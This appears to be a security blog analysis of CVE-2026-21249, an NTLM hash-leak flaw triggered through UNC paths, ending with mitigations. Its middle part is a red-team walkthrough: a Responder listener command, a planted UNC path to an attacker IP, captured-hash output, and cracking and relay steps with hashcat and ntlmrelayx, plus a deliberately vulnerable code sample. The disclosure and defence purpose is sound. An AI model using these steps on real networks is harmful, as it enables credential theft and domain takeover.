Ghost in the Shell: Weaponizing NTLM via CVE-2026-21249

If you've been in security for more than five minutes, you know NTLM (New Technology LAN Manager) is actually 'Not That Latest Methodology'. It's a legacy protocol from the 90s that relies on a challenge-response mechanism. Despite Kerberos being the golden standard, NTLM hangs around for backward compatibility, lurking in the shadows of the Windows API.

CVE-2026-21249 isn't a buffer overflow or a complex heap grooming exercise. It's a logic flaw. Specifically, it's a spoofing vulnerability that exploits how Windows handles file paths. When Windows sees a file path, it helpfully tries to resolve it. If that path looks like a UNC (Universal Naming Convention) path—like \\192.168.1.50\share—the operating system automatically attempts to authenticate to that remote server using the current user's credentials to access the resource.

This behavior is 'working as intended' for legitimate enterprise shares. But when you can force a privileged process or a confused user context to touch a path you control, it becomes a weapon. This vulnerability allows a local attacker to define such a path in the NTLM service context, essentially asking the victim machine: 'Hey, can you go sign into this server for me?' The victim machine obliges, and boom—you have their NTLMv2 hash.

The root cause here is CWE-73: External Control of File Name or Path. The Windows NTLM authentication provider (living inside msv1_0.dll or similar libraries depending on the exact OS version) accepts input parameters to handle logging, configuration, or resource loading. The developers likely assumed that these paths would always be local (e.g., C:\Windows\Temp\log.txt).

However, the code failed to sanitize this input or restrict it to local drive letters. In the Windows API, file operations are agnostic to the network. A call to CreateFile or GetFileAttributes works just as well on a local file as it does on a remote SMB share. The vulnerability arises because the code takes a user-supplied string and blindly passes it to a filesystem API.

When that API hits a UNC path, the kernel's MUP (Multiple UNC Provider) kicks in. It realizes the resource is remote and initiates an SMB session. Part of that session setup involves the client (victim) proving its identity to the server (attacker). This happens automatically, often without any visible prompt to the user, effectively leaking the user's credentials to anyone listening on the other end of that IP address.

Let's look at a reconstruction of the vulnerable logic versus the patched logic. Without the exact source code, we can infer the pattern based on the patch analysis and standard Windows API behavior.

The Vulnerable Pattern:

// The developer takes a path from a config or user input
void ProcessLogPath(wchar_t* userInputPath) {
    HANDLE hFile;
    // FATAL FLAW: No validation that userInputPath is local.
    // If userInputPath is "\\\\attacker-ip\\share\\test",
    // this call triggers NTLM auth outbound.
    hFile = CreateFileW(
        userInputPath,
        GENERIC_WRITE,
        FILE_SHARE_READ,
        NULL,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    
    if (hFile != INVALID_HANDLE_VALUE) {
        // ... write logs ...
        CloseHandle(hFile);
    }
}

In the code above, the system assumes userInputPath is safe. It acts as a proxy for the attacker's intent.

The Fixed Pattern:

Microsoft's fix likely introduces a check to ensure the path does not refer to a UNC resource, or strictly enforces local drive roots.

// The patched logic
void ProcessLogPath(wchar_t* userInputPath) {
    // 1. Check if the path is absolute and local
    if (!IsLocalPath(userInputPath)) {
        LogError("Invalid path specified. Remote paths not allowed.");
        return;
    }
 
    // 2. Alternatively, disable automatic credential usage for this handle
    // (Though purely blocking UNC is the safer fix for this context)
    
    HANDLE hFile = CreateFileW(userInputPath, ...);
    // ...
}

By ensuring the path starts with a drive letter and contains no UNC indicators (like leading double backslashes), the exploitation vector is closed.

The CVSS score of 3.3 is misleading. It assumes you are just a random user on a standalone machine. But in a domain environment, this is part of a kill chain. Here is how a red teamer weaponizes CVE-2026-21249.

Step 1: The Trap

The attacker needs an SMB listener. Responder is the tool of choice.

sudo responder -I eth0 -w -d
# -I: Interface
# -w: Start WPAD rogue server (optional but fun)
# -d: Enable DHCP (if you are feeling spicy)

Step 2: The Trigger

The vulnerability requires us to pass a malicious path to the NTLM service. Since the advisory mentions UI:R (User Interaction), let's assume we are crafting a malicious shortcut (.lnk) or a configuration file that the vulnerable component reads.

We create a file payload where the 'LogPath' or 'Resource' parameter is set to our listener: \\10.0.0.66\GiveMeYourHash

Step 3: Execution

When the victim (or a service running as the victim) processes this file:

1. The vulnerable code calls CreateFile on our UNC path.
2. Windows sends an SMB Negotiate packet to 10.0.0.66.
3. Responder accepts and sends a Challenge.
4. Windows generates the Response (the NTLMv2 hash) and sends it back.
5. Responder logs the hash.

[SMB] NTLMv2-SSP Client   : 192.168.1.15
[SMB] NTLMv2-SSP Username : CORPDOMAIN\Administrator
[SMB] NTLMv2-SSP Hash     : Administrator::CORPDOMAIN:1122334455667788:...

Step 4: Profit

You now have two choices:

• Crack it: Toss it into Hashcat (hashcat -m 5600).
• Relay it: If SMB Signing is disabled on other servers (it often is), use ntlmrelayx.py to forward this authentication to a file server or domain controller and dump the SAM database.

Microsoft rated this as 'Important', likely because it requires local access or a user to click something. However, 'Local Access' in 2026 includes getting a foothold via a phishing email or a compromised low-privilege container. Once you are inside, you use this to pivot.

If you can trigger this vulnerability in a process running as SYSTEM or a Domain Admin service account, the game is over. An NTLM relay attack from a high-privilege account allows for immediate takeover of other hosts in the network. Even if you only catch a standard user's hash, you can crack their password and use it to access VPNs, email, or internal portals.

Furthermore, this attack is silent. There is no pop-up saying "I am sending your password to hackers." It happens at the kernel networking layer. The only trace is a failed login attempt in the logs—if you even notice it among the noise.

The immediate fix is installing the February 2026 Patch Tuesday updates. This patches the msv1_0.dll / ntlm.dll logic to reject arbitrary UNC paths in the affected authentication flows.

Defense in Depth

Patches are great, but architectural changes are better. You cannot exploit NTLM spoofing if NTLM is dead.

1. Restrict Outbound NTLM: This is the silver bullet. Configure the GPO Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers. Set it to Deny all. This prevents your machines from authenticating to random IP addresses on the internet or local network segments.

2. SMB Signing: Enforce SMB Signing on all workstations and servers. This prevents the 'Relay' part of the attack. If an attacker captures your hash, they can't forward it because they can't sign the packet.

3. Firewalling: Why are your workstations allowed to talk SMB (port 445) to each other? Block workstation-to-workstation SMB traffic at the host firewall level.